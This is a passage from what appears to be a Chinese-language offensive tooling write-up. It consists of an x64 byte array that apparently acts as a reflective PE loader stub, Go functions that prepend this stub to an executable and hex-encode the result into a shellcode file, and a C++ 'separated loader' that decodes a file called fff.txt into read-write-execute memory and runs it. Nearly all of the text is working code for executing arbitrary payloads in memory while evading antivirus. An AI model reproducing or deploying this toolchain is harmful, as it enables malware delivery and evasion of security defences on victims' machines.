0x28, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x28, 0x81, 0x7C, 0x24, 0x28, 0x00, 0x40, 0x9C, 0x00, 0x0F,0x8D, 0xAF, 0x00, 0x00, 0x00, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x04, 0x01, 0x83, 0xF8, 0x4D, 0x0F, 0x85, 0x90, 0x00, 0x00, 0x00, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x01, 0x83, 0xF8, 0x5A, 0x75, 0x79, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8,0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x02, 0x3D, 0x90, 0x00, 0x00, 0x00, 0x75, 0x60, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x03, 0x85, 0xC0, 0x75, 0x4A, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x04, 0x83, 0xF8, 0x03, 0x75, 0x33, 0x48, 0x63, 0x44, 0x24,0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x44, 0x01, 0x05, 0x85, 0xC0, 0x75, 0x1D, 0x48, 0x63, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0xEB, 0x05, 0xE9, 0x39, 0xFF, 0xFF, 0xFF, 0x48, 0xC7, 0x84, 0x24, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x48, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xA8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x3C, 0x89, 0x84, 0x24, 0x30, 0x01, 0x00, 0x00, 0x48, 0x63, 0x84, 0x24, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00,0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x30, 0x48, 0x89, 0x84, 0x24, 0x80, 0x01, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x8B, 0xD0, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x01, 0x00, 0x00, 0xFF, 0x94,0x24, 0x00, 0x01, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x50, 0xC7, 0x84, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0x7C, 0x24, 0x50, 0x00, 0x75, 0x32, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x8B, 0xD0, 0x33, 0xC9, 0xFF, 0x94, 0x24, 0x00, 0x01, 0x00, 0x00, 0x48,0x89, 0x44, 0x24, 0x50, 0xC7, 0x84, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x89, 0x48, 0x30, 0xC7, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x10, 0x8B, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84,0x24, 0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x54, 0x39, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x73, 0x27, 0x48, 0x63, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x48, 0x63, 0x8C, 0x24, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x50, 0x4C, 0x8B, 0x84, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x41, 0x0F, 0xB6, 0x04, 0x00, 0x88, 0x04, 0x0A, 0xEB, 0xB5, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00,0x48, 0x05, 0x08, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x48, 0x01, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x6C, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x8B, 0x44, 0x24, 0x6C, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x6C, 0x48, 0x8B, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x40, 0x06, 0x39, 0x44, 0x24, 0x6C, 0x0F, 0x8D, 0xA1, 0x00, 0x00, 0x00, 0xC7, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0xEB, 0x10, 0x8B, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x63, 0x44, 0x24, 0x6C, 0x48, 0x6B, 0xC0, 0x28, 0x48, 0x8B, 0x8C, 0x24, 0x48, 0x01, 0x00, 0x00, 0x8B, 0x44, 0x01, 0x10, 0x39, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x73, 0x61, 0x48, 0x63, 0x44, 0x24, 0x6C, 0x48, 0x6B, 0xC0, 0x28, 0x48, 0x8B, 0x8C, 0x24,0x48, 0x01, 0x00, 0x00, 0x8B, 0x44, 0x01, 0x14, 0x48, 0x8B, 0x8C, 0x24, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x63, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x63, 0x54, 0x24, 0x6C, 0x48, 0x6B, 0xD2, 0x28, 0x4C, 0x8B, 0x84, 0x24, 0x48, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x54, 0x10, 0x0C, 0x4C, 0x8B, 0x44, 0x24, 0x50, 0x4C, 0x03, 0xC2, 0x49, 0x8B, 0xD0, 0x4C,0x63, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x04, 0x08, 0x42, 0x88, 0x04, 0x02, 0xE9, 0x71, 0xFF, 0xFF, 0xFF, 0xE9, 0x3F, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x50, 0x48, 0x89, 0x84, 0x24, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x3C, 0x89, 0x84, 0x24, 0x34, 0x01, 0x00, 0x00, 0x48, 0x63, 0x84, 0x24, 0x34, 0x01, 0x00, 0x00,0x48, 0x8B, 0x8C, 0x24, 0x00, 0x02, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x60, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x60, 0x02, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xB8, 0x01, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x01, 0x48, 0x8B, 0x8C, 0x24, 0xB8,0x01, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x01, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x48, 0x89, 0x84, 0x24, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x50, 0x01, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0x18, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x14, 0x48, 0x8B, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x14, 0x48, 0x89, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x02, 0x00, 0x00, 0x48, 0x39, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x0F, 0x83, 0x65, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24,0x08, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x18, 0x02, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x03, 0x44, 0x24, 0x50, 0x48, 0x89, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x83, 0x38, 0x00, 0x75, 0x13, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x83, 0x78, 0x10, 0x00, 0x75, 0x05, 0xE9, 0x22, 0x02, 0x00, 0x00, 0x48,0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xB0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x10, 0x48, 0x89, 0x84, 0x24, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0x58, 0x01,0x00, 0x00, 0x48, 0x83, 0xBC, 0x24, 0x58, 0x01, 0x00, 0x00, 0x00, 0x75, 0x13, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x10, 0x48, 0x89, 0x84, 0x24, 0x58, 0x01, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x70, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x83, 0xF8, 0x01, 0x0F, 0x84, 0x99,0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x03, 0x84, 0x24, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x03, 0x84, 0x24, 0x58, 0x01, 0x00,0x00, 0x48, 0x89, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0xB9, 0x00, 0x00, 0x00, 0x80, 0x48, 0x8B, 0x00, 0x48, 0x23, 0xC1, 0x48, 0x85, 0xC0, 0x75, 0x1D, 0x48, 0x8B, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x8B, 0x00, 0x48, 0x23, 0xC1, 0x48, 0x85, 0xC0, 0x74, 0x58, 0x48, 0x8B,0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x25, 0xFF, 0xFF, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x28, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xB0, 0x01, 0x00, 0x00, 0xFF, 0x94, 0x24, 0x60, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x28, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xD1, 0x48, 0x8B, 0xC8, 0xFF, 0x94, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x30,0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x30, 0x02, 0x00, 0x00, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x83, 0x38, 0x00, 0x75, 0x05, 0xE9, 0xB3, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x09, 0x48, 0x39, 0x08, 0x75,0x6E, 0x48, 0x8B, 0x84, 0x24, 0xF8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x38, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x38, 0x02, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x84, 0x24, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xB0, 0x01, 0x00, 0x00, 0xFF, 0x94, 0x24, 0x60, 0x01,0x00, 0x00, 0x48, 0x8B, 0x94, 0x24, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0xFF, 0x94, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x48, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x48, 0x02, 0x00, 0x00, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x84, 0x24, 0x70, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0x70,0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0x78, 0x01, 0x00, 0x00, 0xE9, 0x5C, 0xFE, 0xFF, 0xFF, 0xE9, 0x71, 0xFD, 0xFF, 0xFF, 0x83, 0xBC, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x0D, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x80, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48,0x8B, 0x44, 0x24, 0x50, 0x48, 0x89, 0x84, 0x24, 0x58, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x58, 0x02, 0x00, 0x00, 0x48, 0x2B, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x68, 0x02, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x05, 0x48, 0x8B, 0x8C, 0x24, 0xB8, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x01, 0x88,0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xC0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x48, 0x89, 0x84, 0x24, 0x98, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x01, 0x00, 0x00, 0x8B, 0x00, 0x48, 0x89, 0x84, 0x24, 0x90, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0x90, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8,0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x83, 0xE8, 0x08, 0x89, 0x84, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24,0x88, 0x01, 0x00, 0x00, 0xC7, 0x84, 0x24, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x83, 0xF8, 0x01, 0x0F, 0x84, 0x22, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x24, 0xE4, 0x00, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0xE4, 0x00, 0x00, 0x00, 0xC7, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x8B, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x83, 0xC0,0x02, 0x89, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x8B, 0x84, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x39, 0x84, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x0F, 0x8D, 0x83, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x88, 0x01, 0x00, 0x00, 0xB8, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x09, 0x66, 0x23, 0xC8, 0x0F,0xB7, 0xC1, 0x0F, 0xB7, 0xC0, 0x48, 0x8B, 0x8C, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x8B, 0x09, 0x03, 0xC8, 0x8B, 0xC1, 0x8B, 0xC0, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x03, 0x84, 0x24, 0x68, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xC8,0x01, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xE9, 0x58, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x83, 0x38, 0x00, 0x75, 0x02, 0xEB, 0x3E, 0x48, 0x8B,0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x04, 0x83, 0xE8, 0x08, 0x89, 0x84, 0x24, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x88, 0x01, 0x00, 0x00, 0xE9, 0xD3, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x84, 0x24,0x98, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x28, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x84, 0x24, 0x70, 0x02, 0x00, 0x00, 0xFF, 0x94, 0x24, 0x70, 0x02, 0x00, 0x00, 0x48, 0x81, 0xC4, 0xC8, 0x02, 0x00, 0x00, 0xC3} // 读取源文件 fileBuff, err := ioutil.ReadFile(path) if err != nil { fmt.Println("Error reading file:", err) return } // 创建合并后的缓冲区 shellCodeBuff := append(hexData, fileBuff...) encryptedData := hex.EncodeToString(shellCodeBuff) byteSlice := []byte(encryptedData) // fmt.Println(byteSlice) // 写入输出文件 err = ioutil.WriteFile(outPath,byteSlice, 0644) if err != nil { fmt.Println("Error writing file:", err) return } fmt.Println("Successfully wrote 64-bit shellcode to", outPath) } func Write32FileShellCode(path, outPath string) { hexData := []byte{0x55,} // 读取源文件 fileBuff, err := ioutil.ReadFile(path) if err != nil { fmt.Println("Error reading file:", err) return } // 创建合并后的缓冲区 shellCodeBuff := append(hexData, fileBuff...) encryptedData := hex.EncodeToString(shellCodeBuff) byteSlice := []byte(encryptedData) // fmt.Println(byteSlice) //写入输出文件 err = ioutil.WriteFile(outPath, byteSlice, 0644) if err != nil { fmt.Println("Error writing file:", err) return } fmt.Println("Successfully wrote 32-bit shellcode to", outPath) }
加载器
分离加载
#include <iostream> #include <fstream> #include <string> #include <windows.h> #pragma comment(lib, "wininet.lib") #include <sstream> using namespace std; std::string wstringToString(const std::wstring& wstr) { std::string str(wstr.begin(), wstr.end()); return str; } unsigned char hexCharToByte(char c) { //对hex编码后的shellcode进行解码 if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return 10 + c - 'a'; if (c >= 'A' && c <= 'F') return 16 + c - 'A'; return 255; } std::string decodeHexString(const std::string& hexString) { // 计算解码后的数据长度,用来申请内存空间 std::string decoded; if (hexString.length() % 2 != 0) { std::cerr << "Hex string has odd length." << std::endl; return decoded; } for (size_t i = 0; i < hexString.length(); i += 2) { unsigned char highNibble = hexCharToByte(hexString[i]); unsigned char lowNibble = hexCharToByte(hexString[i + 1]); if (highNibble == 255 || lowNibble == 255) { std::cerr << "Invalid hex character found." << std::endl; return decoded; } unsigned char byte = (highNibble << 4) | lowNibble; decoded.push_back(byte); } return decoded; } bool isFileExists(const std::string& file_path) { std::ifstream file(file_path); return file.good(); } void depass_exe(const std::string& file_path) { //解码并加载shellcode std::ifstream input_file(file_path, std::ios::binary); if (!input_file) { std::cout << "Failed to open file!" << std::endl; return; } std::string encrypted_data((std::istreambuf_iterator<char>(input_file)), std::istreambuf_iterator<char>()); input_file.close(); std::string decrypted_data = decodeHexString(encrypted_data); const unsigned char* byte_sequence = reinterpret_cast<const unsigned char*>(decrypted_data.c_str()); size_t byte_sequence_length = decrypted_data.length(); LPVOID execMemory = VirtualAlloc(NULL, byte_sequence_length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(execMemory, byte_sequence, byte_sequence_length); //加载shellcode到内存 typedef void (*ShellcodeFunc)(); ShellcodeFunc shellcodeFunc = reinterpret_cast<ShellcodeFunc>(execMemory); shellcodeFunc(); VirtualFree(execMemory, 0, MEM_RELEASE); } int main() { std::string file_path = "fff.txt"; //获取编码后的shellcode文件 if (isFileExists(file_path)) { depass_exe(file_path); return 0; } else { return 0; } }